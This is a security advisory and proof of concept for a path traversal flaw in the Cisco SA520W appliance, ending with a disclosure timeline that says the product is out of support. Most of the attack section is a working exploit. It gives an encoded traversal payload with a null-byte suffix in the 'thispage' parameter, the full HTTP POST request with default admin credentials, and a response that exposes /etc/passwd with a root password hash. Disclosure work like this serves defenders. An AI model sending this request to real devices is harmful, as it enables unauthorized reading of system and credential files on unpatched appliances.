Cisco SA520W Security Appliance Path Traversal

2018.05.19
Credit: Nassim Asrir
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-22

# Title: Cisco SA520W Security Appliance - Path Traversal # Author: Nassim Asrir # Contact: wassline@gmail.com / https://www.linkedin.com/in/nassim-asrir-b73a57122/ # Vendor: https://www.cisco.com/ # About Product: =============== Cisco SA 500 Series Security Appliances are designed for businesses with fewer than 100 employees. They combine firewall, VPN, and optional intrusion prevention system (IPS), email, and web security capabilities. Whether in the office or working remotely, your employees can securely access the resources they need, while your business is protected from unauthorized access and Internet threats. # POC ==================== //In our poc we will try to read /etc/passwd The vulnerable Parameter: thispage payload: ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00index.htm Request Type: POST Request: ======= POST /scgi-bin/platform.cgi HTTP/1.1 Host: host-ip User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://70.186.255.169/scgi-bin/platform.cgi Content-Type: application/x-www-form-urlencoded Content-Length: 311 Connection: close Upgrade-Insecure-Requests: 1 thispage=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00index.htm&SSLVPNUser.UserName=admin&SSLVPNUser.Password=admin&button.login.routerStatus=Log+In&Login.userAgent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%3B+rv%3A58.0%29+Gecko%2F20100101+Firefox%2F58.0 Response: ======== HTTP/1.0 200 OK Date: Sat, 01 Jan 2000 00:00:41 GMT Server: Embedded HTTP Server. Connection: close root:$1$omdZQoH8$bFOOjhl.E7BKKzvW/bRJe0:0:0:root:/:/bin/sh nobody:x:0:0:nobody:/nonexistent:/bin/false #Timeline: ========= 18 Apr 2018 : First Contact with Cisco. 18 Apr 2018 : Cisco Ask me for more details about the vulnerability. 18 Apr 2018 : Details sent to Cisco 19 Apr 2018 : Ask for update 15 May 2018 : Cisco say "The product you reference went end of support in April 2016 No further action will be taken." 18 May 2018 : Public Disclosure


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